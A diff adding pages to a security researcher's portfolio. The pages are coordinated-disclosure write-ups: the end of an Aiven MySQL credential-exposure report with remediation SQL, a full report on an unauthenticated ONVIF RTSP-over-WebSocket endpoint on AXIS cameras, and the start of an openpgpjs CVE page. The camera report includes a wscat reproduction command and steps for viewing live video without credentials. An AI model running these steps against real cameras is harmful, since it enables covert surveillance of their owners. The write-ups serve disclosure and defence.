| + | REVOKE SELECT ON mysql.user FROM 'avnadmin'@'%';</code> | |
| + | Or more broadly: | |
| + | <code>sql | |
| + | REVOKE SELECT ON mysql.* FROM 'avnadmin'@'%'; | |
| + | GRANT SELECT ON mysql.func TO 'avnadmin'@'%'; -- if needed for UDF listing</code></p> | |
| + | </li> | |
| + | <li> | |
| + | <p><strong>Defense in depth:</strong> Restrict the <code>root</code> user’s host to a narrower range than the entire <code>/80</code> prefix, or disable the root account entirely and manage via a separate orchestration channel.</p> | |
| + | </li> | |
| + | <li> | |
| + | <p><strong>Rotate credentials:</strong> The exposed hashes for root, repluser, and monitoring accounts should be rotated, as they may have already been read by other researchers or attackers.</p> | |
| + | </li> | |
| + | </ol> | |
| + | <hr><p style="color:var(--faint);font-size:12.5px;font-family:ui-monospace,Menlo,monospace">Source · github.com/zionboggan/security-research-notebook · writeups/aiven/mysql-credential-exposure.md</p> | |
| + | </div></div></section> | |
| + | <footer><div class="wrap row"> | |
| + | <div class="links"><a href="/">Portfolio</a><a href="https://www.linkedin.com/in/zion-boggan">LinkedIn</a><a href="/security-research-notebook/">Notebook</a><a href="mailto:zionboggan0@gmail.com">Email</a></div> | |
| + | <div class="note">Coordinated-disclosure research. Findings appear here only after the program's disclosure window closed, the patch shipped, or a CVE was published. No customer data was accessed.</div> | |
| + | </div></footer> | |
| + | </body></html> |
| @@ -0,0 +1,281 @@ | ||
| + | <!doctype html> | |
| + | <html lang="en"><head><meta charset="utf-8"> | |
| + | <meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
| + | <title>Unauthenticated RTSP Video Stream Access via ONVIF WebSocket Endpoint | Zion Boggan</title> | |
| + | <meta name="description" content="ONVIF RTSP-over-WebSocket endpoint accessible without authentication."> | |
| + | <link rel="icon" href="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 32 32'%3E%3Crect width='32' height='32' rx='6' fill='%230c0e12'/%3E%3Ctext x='16' y='22' font-family='monospace' font-size='15' fill='%236cc7b8' text-anchor='middle'%3Ezb%3C/text%3E%3C/svg%3E"> | |
| + | <style> | |
| + | :root{ | |
| + | --bg:#0c0e12; --bg2:#0f1217; --panel:#14181f; --panel2:#171c24; | |
| + | --line:#222936; --line2:#2c3543; | |
| + | --ink:#e8eaed; --soft:#c3cad4; --muted:#8a94a3; --faint:#5d6675; | |
| + | --accent:#6cc7b8; --accent-dim:#274b47; | |
| + | --maxw:1020px; | |
| + | } | |
| + | *{box-sizing:border-box;} | |
| + | html{scroll-behavior:smooth;} | |
| + | body{margin:0;background:var(--bg);color:var(--ink); | |
| + | font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Helvetica,Arial,sans-serif; | |
| + | font-size:16px;line-height:1.65;-webkit-font-smoothing:antialiased;} | |
| + | .mono{font-family:ui-monospace,SFMono-Regular,"SF Mono",Menlo,Consolas,monospace;} | |
| + | a{color:var(--accent);text-decoration:none;} | |
| + | a:hover{color:#8fe0d2;} | |
| + | .wrap{max-width:var(--maxw);margin:0 auto;padding:0 24px;} | |
| + | ||
| + | /* nav */ | |
| + | nav{position:sticky;top:0;z-index:20;background:rgba(12,14,18,.82); | |
| + | backdrop-filter:blur(10px);border-bottom:1px solid var(--line);} | |
| + | nav .wrap{display:flex;align-items:center;justify-content:space-between;height:58px;} | |
| + | nav .brand{font-weight:600;letter-spacing:.2px;} | |
| + | nav .brand .dot{color:var(--accent);} | |
| + | nav .links{display:flex;gap:26px;font-size:13.5px;} | |
| + | nav .links a{color:var(--muted);} | |
| + | nav .links a:hover{color:var(--ink);} | |
| + | @media(max-width:680px){nav .links{display:none;}} | |
| + | ||
| + | /* hero */ | |
| + | header.hero{padding:74px 0 54px;border-bottom:1px solid var(--line); | |
| + | background:radial-gradient(900px 380px at 78% -10%, #11201e 0%, transparent 60%);} | |
| + | .avail{font-size:12.5px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent); | |
| + | display:flex;align-items:center;gap:9px;margin-bottom:20px;} | |
| + | .avail .pulse{width:7px;height:7px;border-radius:50%;background:var(--accent); | |
| + | box-shadow:0 0 0 0 rgba(108,199,184,.5);animation:p 2.4s infinite;} | |
| + | @keyframes p{0%{box-shadow:0 0 0 0 rgba(108,199,184,.45)}70%{box-shadow:0 0 0 8px rgba(108,199,184,0)}100%{box-shadow:0 0 0 0 rgba(108,199,184,0)}} | |
| + | h1{font-size:clamp(34px,6vw,52px);line-height:1.05;margin:0 0 8px;letter-spacing:-1px;font-weight:680;} | |
| + | .hero .sub{font-size:clamp(16px,2.4vw,20px);color:var(--soft);margin:0 0 24px;font-weight:500;} | |
| + | .hero .lede{max-width:660px;color:var(--soft);font-size:17px;margin:0 0 28px;} | |
| + | .hero .lede b{color:var(--ink);font-weight:600;} | |
| + | .cta{display:flex;flex-wrap:wrap;gap:12px;align-items:center;} | |
| + | .btn{display:inline-flex;align-items:center;gap:8px;padding:10px 18px;border-radius:8px; | |
| + | font-size:14.5px;font-weight:550;border:1px solid var(--line2);color:var(--ink);background:var(--panel);} | |
| + | .btn:hover{border-color:var(--accent-dim);background:var(--panel2);color:var(--ink);} | |
| + | .btn.primary{background:var(--accent);color:#06231f;border-color:var(--accent);font-weight:650;} | |
| + | .btn.primary:hover{background:#8fe0d2;color:#06231f;} | |
| + | .meta{margin-top:26px;display:flex;flex-wrap:wrap;gap:8px 22px;font-size:13px;color:var(--muted);} | |
| + | .meta .mono{color:var(--faint);} | |
| + | ||
| + | /* sections */ | |
| + | section{padding:64px 0;border-bottom:1px solid var(--line);} | |
| + | .shead{display:flex;align-items:baseline;gap:14px;margin-bottom:30px;} | |
| + | .shead .idx{font-size:13px;color:var(--accent);letter-spacing:1px;} | |
| + | .shead h2{font-size:14px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:0;font-weight:600;} | |
| + | .shead .rule{flex:1;height:1px;background:var(--line);} | |
| + | ||
| + | /* flagship */ | |
| + | .flag{background:linear-gradient(180deg,var(--panel) 0%,var(--bg2) 100%); | |
| + | border:1px solid var(--line2);border-radius:14px;overflow:hidden;} | |
| + | .flag .top{padding:30px 32px 8px;} | |
| + | .flag .tag{font-size:12px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent);margin-bottom:12px;} | |
| + | .flag h3{font-size:27px;margin:0 0 6px;letter-spacing:-.4px;} | |
| + | .flag h3 .v{font-size:13px;color:var(--muted);font-weight:500;margin-left:8px;letter-spacing:0;} | |
| + | .flag .grid{display:grid;grid-template-columns:1.25fr 1fr;gap:30px;padding:14px 32px 30px;} | |
| + | .flag p{color:var(--soft);margin:0 0 16px;} | |
| + | .flag .stats{display:grid;grid-template-columns:1fr 1fr;gap:12px;margin-top:6px;} | |
| + | .stat{background:var(--bg);border:1px solid var(--line);border-radius:9px;padding:13px 15px;} | |
| + | .stat .n{font-size:21px;font-weight:680;color:var(--ink);} | |
| + | .stat .k{font-size:12px;color:var(--muted);margin-top:2px;} | |
| + | .spec{background:var(--bg);border:1px solid var(--line);border-radius:10px;padding:18px 18px;} | |
| + | .spec .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:10px;} | |
| + | .spec ul{margin:0;padding:0;list-style:none;font-size:13.5px;} | |
| + | .spec li{padding:6px 0;border-top:1px solid var(--line);color:var(--soft);display:flex;justify-content:space-between;gap:14px;} | |
| + | .spec li:first-child{border-top:none;} | |
| + | .spec li span{color:var(--muted);} | |
| + | .flag .foot{padding:0 32px 28px;display:flex;gap:18px;flex-wrap:wrap;font-size:14px;} | |
| + | @media(max-width:720px){.flag .grid{grid-template-columns:1fr;}} | |
| + | ||
| + | /* lab cards */ | |
| + | .cards{display:grid;grid-template-columns:1fr 1fr;gap:20px;} | |
| + | @media(max-width:680px){.cards{grid-template-columns:1fr;}} | |
| + | .card{border:1px solid var(--line);border-radius:12px;overflow:hidden;background:var(--panel); | |
| + | display:flex;flex-direction:column;transition:border-color .15s,transform .15s;} | |
| + | .card:hover{border-color:var(--accent-dim);transform:translateY(-2px);} | |
| + | .card .thumb{height:172px;overflow:hidden;border-bottom:1px solid var(--line);background:#fff;} | |
| + | .card .thumb img{width:100%;height:100%;object-fit:cover;object-position:top left;display:block;} | |
| + | .card .body{padding:18px 20px 20px;display:flex;flex-direction:column;flex:1;} | |
| + | .card h3{margin:0 0 9px;font-size:17px;} | |
| + | .card p{margin:0 0 14px;font-size:14px;color:var(--soft);flex:1;} | |
| + | .tags{display:flex;flex-wrap:wrap;gap:6px;margin-bottom:14px;} | |
| + | .tags span{font-size:11.5px;color:var(--muted);background:var(--bg);border:1px solid var(--line); | |
| + | border-radius:5px;padding:3px 8px;} | |
| + | .card .lnk{font-size:13.5px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .card .lnk::after{content:" →";} | |
| + | ||
| + | /* research */ | |
| + | .rlede{color:var(--soft);max-width:680px;margin:-6px 0 26px;} | |
| + | .research{display:flex;flex-direction:column;gap:0;border:1px solid var(--line);border-radius:12px;overflow:hidden;} | |
| + | .ritem{display:grid;grid-template-columns:120px 1fr auto;gap:18px;align-items:center; | |
| + | padding:18px 22px;border-top:1px solid var(--line);} | |
| + | .ritem:first-child{border-top:none;} | |
| + | .ritem:hover{background:var(--panel);} | |
| + | .ritem .cls{font-size:11px;letter-spacing:.5px;text-transform:uppercase;color:var(--accent);} | |
| + | .ritem h3{margin:0 0 3px;font-size:16px;} | |
| + | .ritem p{margin:0;font-size:13.5px;color:var(--muted);} | |
| + | .ritem .go{font-family:ui-monospace,Menlo,monospace;font-size:13px;white-space:nowrap;} | |
| + | @media(max-width:680px){.ritem{grid-template-columns:1fr;gap:6px;}.ritem .go{margin-top:4px;}} | |
| + | .progs{margin-top:22px;} | |
| + | .progs .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:11px;} | |
| + | .progs .row{display:flex;flex-wrap:wrap;gap:7px;} | |
| + | .progs .row span{font-size:12.5px;color:var(--soft);background:var(--panel);border:1px solid var(--line); | |
| + | border-radius:6px;padding:4px 10px;} | |
| + | ||
| + | /* credentials */ | |
| + | .cred{display:grid;grid-template-columns:1.1fr 1fr;gap:28px;} | |
| + | @media(max-width:680px){.cred{grid-template-columns:1fr;}} | |
| + | .cred p{color:var(--soft);margin:0 0 14px;} | |
| + | .cred .role{font-size:14px;color:var(--muted);} | |
| + | .cred .role b{color:var(--ink);font-weight:600;} | |
| + | .certs{list-style:none;margin:0;padding:0;} | |
| + | .certs li{padding:9px 0;border-top:1px solid var(--line);font-size:14px;color:var(--soft); | |
| + | display:flex;gap:10px;align-items:baseline;} | |
| + | .certs li:first-child{border-top:none;} | |
| + | .certs li .c{color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:12px;} | |
| + | ||
| + | footer{padding:46px 0 64px;} | |
| + | footer .row{display:flex;flex-wrap:wrap;justify-content:space-between;gap:18px;align-items:center;} | |
| + | footer .links a{color:var(--soft);margin-right:20px;font-size:14px;} | |
| + | footer .note{color:var(--faint);font-size:12.5px;max-width:520px;} | |
| + | ||
| + | .detail-hero{padding:40px 0 26px;} | |
| + | .back{display:inline-block;font-size:13px;color:var(--muted);margin-bottom:20px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .back:hover{color:var(--ink);} | |
| + | .kicker{font-size:12px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin-bottom:13px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .detail-hero h1{font-size:clamp(26px,4.6vw,38px);margin:0 0 12px;letter-spacing:-.5px;} | |
| + | .detail-hero .tagline{font-size:clamp(15px,2vw,18px);color:var(--soft);max-width:800px;margin:0 0 16px;} | |
| + | .facts{display:grid;grid-template-columns:repeat(auto-fit,minmax(150px,1fr));gap:12px;margin-top:22px;} | |
| + | .content{padding:8px 0 0;max-width:840px;} | |
| + | .content h1{font-size:24px;margin:40px 0 14px;letter-spacing:-.4px;color:var(--ink);} | |
| + | .content h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:42px 0 15px;font-weight:600;border-top:1px solid var(--line);padding-top:28px;} | |
| + | .content h3{font-size:17px;margin:28px 0 10px;color:var(--ink);font-weight:600;} | |
| + | .content h4{font-size:14px;margin:22px 0 8px;color:var(--soft);font-weight:600;text-transform:uppercase;letter-spacing:.5px;} | |
| + | .content p{color:var(--soft);margin:0 0 15px;} | |
| + | .content ul,.content ol{color:var(--soft);margin:0 0 15px;padding-left:22px;} | |
| + | .content li{margin:5px 0;} | |
| + | .content strong{color:var(--ink);font-weight:600;} | |
| + | .content a{color:var(--accent);} | |
| + | .content code{font-family:ui-monospace,Menlo,monospace;font-size:12.8px;background:var(--panel2);border:1px solid var(--line);border-radius:4px;padding:1px 5px;color:var(--soft);} | |
| + | .content pre{background:var(--bg2);border:1px solid var(--line2);border-radius:10px;padding:15px 18px;overflow-x:auto;margin:0 0 18px;} | |
| + | .content pre code{background:none;border:none;padding:0;font-size:12.4px;color:var(--soft);line-height:1.6;white-space:pre;} | |
| + | .content table{width:100%;border-collapse:collapse;margin:2px 0 20px;font-size:13.3px;} | |
| + | .content th{text-align:left;color:var(--muted);font-weight:600;border-bottom:1px solid var(--line2);padding:9px 12px;font-size:11px;letter-spacing:.6px;text-transform:uppercase;} | |
| + | .content td{color:var(--soft);border-bottom:1px solid var(--line);padding:9px 12px;vertical-align:top;} | |
| + | .content blockquote{border-left:3px solid var(--accent-dim);margin:0 0 16px;padding:2px 0 2px 18px;color:var(--muted);} | |
| + | .content hr{border:none;border-top:1px solid var(--line);margin:30px 0;} | |
| + | /* notebook index */ | |
| + | .nbgroup{margin:40px 0 0;} | |
| + | .nbgroup h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin:0 0 4px;font-weight:600;} | |
| + | .nbgroup .gd{color:var(--faint);font-size:13px;margin:0 0 14px;} | |
| + | .nbtable{width:100%;border-collapse:collapse;font-size:14px;border:1px solid var(--line);border-radius:12px;overflow:hidden;} | |
| + | .nbtable tr{border-top:1px solid var(--line);} | |
| + | .nbtable tr:first-child{border-top:none;} | |
| + | .nbtable tr:hover{background:var(--panel);} | |
| + | .nbtable td{padding:14px 16px;vertical-align:top;} | |
| + | .nbtable .cls{white-space:nowrap;color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:11.5px;text-transform:uppercase;letter-spacing:.5px;width:150px;} | |
| + | .nbtable .ti a{font-weight:600;color:var(--ink);} | |
| + | .nbtable .ti a:hover{color:var(--accent);} | |
| + | .nbtable .ol{color:var(--muted);font-size:13px;margin-top:3px;} | |
| + | @media(max-width:680px){.nbtable .cls{width:auto;display:block;}} | |
| + | </style><!--SEO--> | |
| + | <link rel="canonical" href="https://zionboggan.com/security-research-notebook/onvif-rtsp-websocket-unauth/"> | |
| + | <meta name="author" content="Zion Boggan"> | |
| + | <meta name="robots" content="index, follow, max-image-preview:large"> | |
| + | <meta property="og:type" content="article"> | |
| + | <meta property="og:site_name" content="Zion Boggan"> | |
| + | <meta property="og:title" content="Unauthenticated RTSP Video Stream Access via ONVIF WebSocket Endpoint | Zion Boggan"> | |
| + | <meta property="og:description" content="ONVIF RTSP-over-WebSocket endpoint accessible without authentication."> | |
| + | <meta property="og:url" content="https://zionboggan.com/security-research-notebook/onvif-rtsp-websocket-unauth/"> | |
| + | <meta property="og:image" content="https://zionboggan.com/assets/og-default.png"> | |
| + | <meta name="twitter:card" content="summary_large_image"> | |
| + | <meta name="twitter:title" content="Unauthenticated RTSP Video Stream Access via ONVIF WebSocket Endpoint | Zion Boggan"> | |
| + | <meta name="twitter:description" content="ONVIF RTSP-over-WebSocket endpoint accessible without authentication."> | |
| + | <meta name="twitter:image" content="https://zionboggan.com/assets/og-default.png"> | |
| + | <script type="application/ld+json">{"@context":"https://schema.org","@type":"TechArticle","headline":"Unauthenticated RTSP Video Stream Access via ONVIF WebSocket Endpoint","description":"ONVIF RTSP-over-WebSocket endpoint accessible without authentication.","url":"https://zionboggan.com/security-research-notebook/onvif-rtsp-websocket-unauth/","image":"https://zionboggan.com/assets/og-default.png","author":{"@type":"Person","name":"Zion Boggan","url":"https://zionboggan.com"},"publisher":{"@type":"Person","name":"Zion Boggan"}}</script> | |
| + | <!--/SEO--> | |
| + | </head><body> | |
| + | <nav><div class="wrap"> | |
| + | <a class="brand mono" href="/" style="color:var(--ink)">zion_boggan<span class="dot">.</span></a> | |
| + | <span class="links"><a href="/#oversight">Oversight</a><a href="/#labs">Labs</a><a href="/#research">Research</a><a href="/security-research-notebook/">Notebook</a><a href="/">Home</a></span> | |
| + | </div></nav> | |
| + | <header class="hero detail-hero"><div class="wrap"> | |
| + | <a class="back" href="/security-research-notebook/">← Research notebook</a> | |
| + | <div class="kicker">Unauth access</div> | |
| + | <h1>Unauthenticated RTSP Video Stream Access via ONVIF WebSocket Endpoint</h1> | |
| + | </div></header> | |
| + | <section><div class="wrap"><div class="content"> | |
| + | <h2>Summary</h2> | |
| + | <p>The ONVIF RTSP-over-WebSocket endpoint (<code>/onvif/rtsp-over-websocket</code>) is missing authentication requirements in the Apache configuration, while the functionally identical non-ONVIF endpoint (<code>/rtsp-over-websocket</code>) correctly requires <code>axis-rtsp-ws-session</code> authentication. This configuration inconsistency allows an unauthenticated attacker to access the camera’s live video stream by connecting via the ONVIF WebSocket protocol.</p> | |
| + | <h2>Vulnerability Details</h2> | |
| + | <p>In the firmware’s Apache configuration, two WebSocket-to-RTSP proxy endpoints are defined:</p> | |
| + | <p><strong>File: <code>/etc/apache2/conf.d/vhosts/all/tcpproxy_rtsp.conf</code></strong> (AUTHENTICATED):</p> | |
| + | <pre><code class="language-apache"><Location /rtsp-over-websocket> | |
| + | WebSockServProvTCPAddr localhost | |
| + | WebSockServProvTCPPort RTSP | |
| + | WebSockServProvTCPBindAddr 127.1.1.2 | |
| + | WebSockSubProt binary | |
| + | WebSockTCPTimeout 60 | |
| + | SetHandler websocket-handler | |
| + | Require axis-rtsp-ws-session ← AUTH REQUIRED | |
| + | </Location> | |
| + | </code></pre> | |
| + | <p><strong>File: <code>/etc/apache2/conf.d/vhosts/all/tcpproxy_rtsp_onvif.conf</code></strong> (NO AUTH):</p> | |
| + | <pre><code class="language-apache"><Location /onvif/rtsp-over-websocket> | |
| + | WebSockServProvTCPAddr localhost | |
| + | WebSockServProvTCP6Addr ip6-localhost | |
| + | WebSockServProvTCPPort RTSP | |
| + | WebSockSubProt rtsp.onvif.org | |
| + | WebSockTCPTimeout 60 | |
| + | SetHandler websocket-handler | |
| + | ← NO Require DIRECTIVE | |
| + | </Location> | |
| + | </code></pre> | |
| + | <p>Both endpoints are included in ALL VirtualHost configurations via the <code>conf.d/vhosts/all/</code> include path, meaning this applies to the externally-facing VHost.</p> | |
| + | <h3>Why Auth Doesn’t Apply</h3> | |
| + | <p>The parent VHost’s authentication is configured at the <code><Directory "/usr/html"></code> level:</p> | |
| + | <pre><code class="language-apache"><Directory "/usr/html"> | |
| + | Include /run/apache2/httpd-select-auth.conf | |
| + | Require axis-group-file | |
| + | </Directory> | |
| + | </code></pre> | |
| + | <p>Apache <code><Location></code> directives operate independently of <code><Directory></code> directives. Since <code>/onvif/rtsp-over-websocket</code> is handled by a WebSocket module (not a filesystem path under <code>/usr/html</code>), the Directory-level authentication does not apply. With no <code>Require</code> directive in the Location block, Apache 2.4 allows the request.</p> | |
| + | <h2>Impact</h2> | |
| + | <p>An unauthenticated attacker on the network can: | |
| + | 1. Connect to <code>ws://CAMERA_IP/onvif/rtsp-over-websocket</code> using the ONVIF RTSP WebSocket subprotocol | |
| + | 2. Tunnel RTSP commands through the WebSocket connection directly to the camera’s RTSP server | |
| + | 3. Access live video/audio streams without any credentials | |
| + | 4. Conduct surveillance without the camera owner’s knowledge</p> | |
| + | <p>This is a complete bypass of the camera’s authentication for video stream access.</p> | |
| + | <h2>Evidence</h2> | |
| + | <ul> | |
| + | <li><strong>Firmware</strong>: P3245-LV 11.11.192 (latest)</li> | |
| + | <li><strong>Config files</strong>: Extracted from <code>/etc/apache2/conf.d/vhosts/all/</code> in firmware rootfs</li> | |
| + | <li><strong>Comparison</strong>: The non-ONVIF endpoint in <code>tcpproxy_rtsp.conf</code> correctly includes <code>Require axis-rtsp-ws-session</code>, confirming that auth on this endpoint is intentional and the ONVIF variant is missing it</li> | |
| + | </ul> | |
| + | <h2>Reproduction</h2> | |
| + | <ol> | |
| + | <li>Identify an AXIS camera on the network (e.g., via ONVIF discovery or mDNS)</li> | |
| + | <li>Establish a WebSocket connection:</li> | |
| + | </ol> | |
| + | <pre><code>wscat -s rtsp.onvif.org -c ws://CAMERA_IP/onvif/rtsp-over-websocket | |
| + | </code></pre> | |
| + | <ol start="3"> | |
| + | <li>Send RTSP DESCRIBE/SETUP/PLAY commands through the WebSocket tunnel</li> | |
| + | <li>Observe: video stream data is returned without authentication</li> | |
| + | </ol> | |
| + | <h2>Suggested Fix</h2> | |
| + | <p>Add the same authentication requirement to the ONVIF endpoint:</p> | |
| + | <pre><code class="language-apache"><Location /onvif/rtsp-over-websocket> | |
| + | WebSockServProvTCPAddr localhost | |
| + | WebSockServProvTCP6Addr ip6-localhost | |
| + | WebSockServProvTCPPort RTSP | |
| + | WebSockSubProt rtsp.onvif.org | |
| + | WebSockTCPTimeout 60 | |
| + | SetHandler websocket-handler | |
| + | Require axis-rtsp-ws-session ← ADD THIS | |
| + | </Location> | |
| + | </code></pre> | |
| + | <hr><p style="color:var(--faint);font-size:12.5px;font-family:ui-monospace,Menlo,monospace">Source · github.com/zionboggan/security-research-notebook · writeups/axis-os/onvif-rtsp-websocket-unauth.md</p> | |
| + | </div></div></section> | |
| + | <footer><div class="wrap row"> | |
| + | <div class="links"><a href="/">Portfolio</a><a href="https://www.linkedin.com/in/zion-boggan">LinkedIn</a><a href="/security-research-notebook/">Notebook</a><a href="mailto:zionboggan0@gmail.com">Email</a></div> | |
| + | <div class="note">Coordinated-disclosure research. Findings appear here only after the program's disclosure window closed, the patch shipped, or a CVE was published. No customer data was accessed.</div> | |
| + | </div></footer> | |
| + | </body></html> |
| @@ -0,0 +1,253 @@ | ||
| + | <!doctype html> | |
| + | <html lang="en"><head><meta charset="utf-8"> | |
| + | <meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
| + | <title>openpgpjs-v6 hunt, iteration 1 | Zion Boggan</title> | |
| + | <meta name="description" content="Root-cause walk-through of CVE-2025-47934 (signature-verification bypass via `msg.packets` mutation) and a variant search against the v6.2.0 compressi"> | |
| + | <link rel="icon" href="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 32 32'%3E%3Crect width='32' height='32' rx='6' fill='%230c0e12'/%3E%3Ctext x='16' y='22' font-family='monospace' font-size='15' fill='%236cc7b8' text-anchor='middle'%3Ezb%3C/text%3E%3C/svg%3E"> | |
| + | <style> | |
| + | :root{ | |
| + | --bg:#0c0e12; --bg2:#0f1217; --panel:#14181f; --panel2:#171c24; | |
| + | --line:#222936; --line2:#2c3543; | |
| + | --ink:#e8eaed; --soft:#c3cad4; --muted:#8a94a3; --faint:#5d6675; | |
| + | --accent:#6cc7b8; --accent-dim:#274b47; | |
| + | --maxw:1020px; | |
| + | } | |
| + | *{box-sizing:border-box;} | |
| + | html{scroll-behavior:smooth;} | |
| + | body{margin:0;background:var(--bg);color:var(--ink); | |
| + | font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Helvetica,Arial,sans-serif; | |
| + | font-size:16px;line-height:1.65;-webkit-font-smoothing:antialiased;} | |
| + | .mono{font-family:ui-monospace,SFMono-Regular,"SF Mono",Menlo,Consolas,monospace;} | |
| + | a{color:var(--accent);text-decoration:none;} | |
| + | a:hover{color:#8fe0d2;} | |
| + | .wrap{max-width:var(--maxw);margin:0 auto;padding:0 24px;} | |
| + | ||
| + | /* nav */ | |
| + | nav{position:sticky;top:0;z-index:20;background:rgba(12,14,18,.82); | |
| + | backdrop-filter:blur(10px);border-bottom:1px solid var(--line);} | |
| + | nav .wrap{display:flex;align-items:center;justify-content:space-between;height:58px;} | |
| + | nav .brand{font-weight:600;letter-spacing:.2px;} | |
| + | nav .brand .dot{color:var(--accent);} | |
| + | nav .links{display:flex;gap:26px;font-size:13.5px;} | |
| + | nav .links a{color:var(--muted);} | |
| + | nav .links a:hover{color:var(--ink);} | |
| + | @media(max-width:680px){nav .links{display:none;}} | |
| + | ||
| + | /* hero */ | |
| + | header.hero{padding:74px 0 54px;border-bottom:1px solid var(--line); | |
| + | background:radial-gradient(900px 380px at 78% -10%, #11201e 0%, transparent 60%);} | |
| + | .avail{font-size:12.5px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent); | |
| + | display:flex;align-items:center;gap:9px;margin-bottom:20px;} | |
| + | .avail .pulse{width:7px;height:7px;border-radius:50%;background:var(--accent); | |
| + | box-shadow:0 0 0 0 rgba(108,199,184,.5);animation:p 2.4s infinite;} | |
| + | @keyframes p{0%{box-shadow:0 0 0 0 rgba(108,199,184,.45)}70%{box-shadow:0 0 0 8px rgba(108,199,184,0)}100%{box-shadow:0 0 0 0 rgba(108,199,184,0)}} | |
| + | h1{font-size:clamp(34px,6vw,52px);line-height:1.05;margin:0 0 8px;letter-spacing:-1px;font-weight:680;} | |
| + | .hero .sub{font-size:clamp(16px,2.4vw,20px);color:var(--soft);margin:0 0 24px;font-weight:500;} | |
| + | .hero .lede{max-width:660px;color:var(--soft);font-size:17px;margin:0 0 28px;} | |
| + | .hero .lede b{color:var(--ink);font-weight:600;} | |
| + | .cta{display:flex;flex-wrap:wrap;gap:12px;align-items:center;} | |
| + | .btn{display:inline-flex;align-items:center;gap:8px;padding:10px 18px;border-radius:8px; | |
| + | font-size:14.5px;font-weight:550;border:1px solid var(--line2);color:var(--ink);background:var(--panel);} | |
| + | .btn:hover{border-color:var(--accent-dim);background:var(--panel2);color:var(--ink);} | |
| + | .btn.primary{background:var(--accent);color:#06231f;border-color:var(--accent);font-weight:650;} | |
| + | .btn.primary:hover{background:#8fe0d2;color:#06231f;} | |
| + | .meta{margin-top:26px;display:flex;flex-wrap:wrap;gap:8px 22px;font-size:13px;color:var(--muted);} | |
| + | .meta .mono{color:var(--faint);} | |
| + | ||
| + | /* sections */ | |
| + | section{padding:64px 0;border-bottom:1px solid var(--line);} | |
| + | .shead{display:flex;align-items:baseline;gap:14px;margin-bottom:30px;} | |
| + | .shead .idx{font-size:13px;color:var(--accent);letter-spacing:1px;} | |
| + | .shead h2{font-size:14px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:0;font-weight:600;} | |
| + | .shead .rule{flex:1;height:1px;background:var(--line);} | |
| + | ||
| + | /* flagship */ | |
| + | .flag{background:linear-gradient(180deg,var(--panel) 0%,var(--bg2) 100%); | |
| + | border:1px solid var(--line2);border-radius:14px;overflow:hidden;} | |
| + | .flag .top{padding:30px 32px 8px;} | |
| + | .flag .tag{font-size:12px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent);margin-bottom:12px;} | |
| + | .flag h3{font-size:27px;margin:0 0 6px;letter-spacing:-.4px;} | |
| + | .flag h3 .v{font-size:13px;color:var(--muted);font-weight:500;margin-left:8px;letter-spacing:0;} | |
| + | .flag .grid{display:grid;grid-template-columns:1.25fr 1fr;gap:30px;padding:14px 32px 30px;} | |
| + | .flag p{color:var(--soft);margin:0 0 16px;} | |
| + | .flag .stats{display:grid;grid-template-columns:1fr 1fr;gap:12px;margin-top:6px;} | |
| + | .stat{background:var(--bg);border:1px solid var(--line);border-radius:9px;padding:13px 15px;} | |
| + | .stat .n{font-size:21px;font-weight:680;color:var(--ink);} | |
| + | .stat .k{font-size:12px;color:var(--muted);margin-top:2px;} | |
| + | .spec{background:var(--bg);border:1px solid var(--line);border-radius:10px;padding:18px 18px;} | |
| + | .spec .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:10px;} | |
| + | .spec ul{margin:0;padding:0;list-style:none;font-size:13.5px;} | |
| + | .spec li{padding:6px 0;border-top:1px solid var(--line);color:var(--soft);display:flex;justify-content:space-between;gap:14px;} | |
| + | .spec li:first-child{border-top:none;} | |
| + | .spec li span{color:var(--muted);} | |
| + | .flag .foot{padding:0 32px 28px;display:flex;gap:18px;flex-wrap:wrap;font-size:14px;} | |
| + | @media(max-width:720px){.flag .grid{grid-template-columns:1fr;}} | |
| + | ||
| + | /* lab cards */ | |
| + | .cards{display:grid;grid-template-columns:1fr 1fr;gap:20px;} | |
| + | @media(max-width:680px){.cards{grid-template-columns:1fr;}} | |
| + | .card{border:1px solid var(--line);border-radius:12px;overflow:hidden;background:var(--panel); | |
| + | display:flex;flex-direction:column;transition:border-color .15s,transform .15s;} | |
| + | .card:hover{border-color:var(--accent-dim);transform:translateY(-2px);} | |
| + | .card .thumb{height:172px;overflow:hidden;border-bottom:1px solid var(--line);background:#fff;} | |
| + | .card .thumb img{width:100%;height:100%;object-fit:cover;object-position:top left;display:block;} | |
| + | .card .body{padding:18px 20px 20px;display:flex;flex-direction:column;flex:1;} | |
| + | .card h3{margin:0 0 9px;font-size:17px;} | |
| + | .card p{margin:0 0 14px;font-size:14px;color:var(--soft);flex:1;} | |
| + | .tags{display:flex;flex-wrap:wrap;gap:6px;margin-bottom:14px;} | |
| + | .tags span{font-size:11.5px;color:var(--muted);background:var(--bg);border:1px solid var(--line); | |
| + | border-radius:5px;padding:3px 8px;} | |
| + | .card .lnk{font-size:13.5px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .card .lnk::after{content:" →";} | |
| + | ||
| + | /* research */ | |
| + | .rlede{color:var(--soft);max-width:680px;margin:-6px 0 26px;} | |
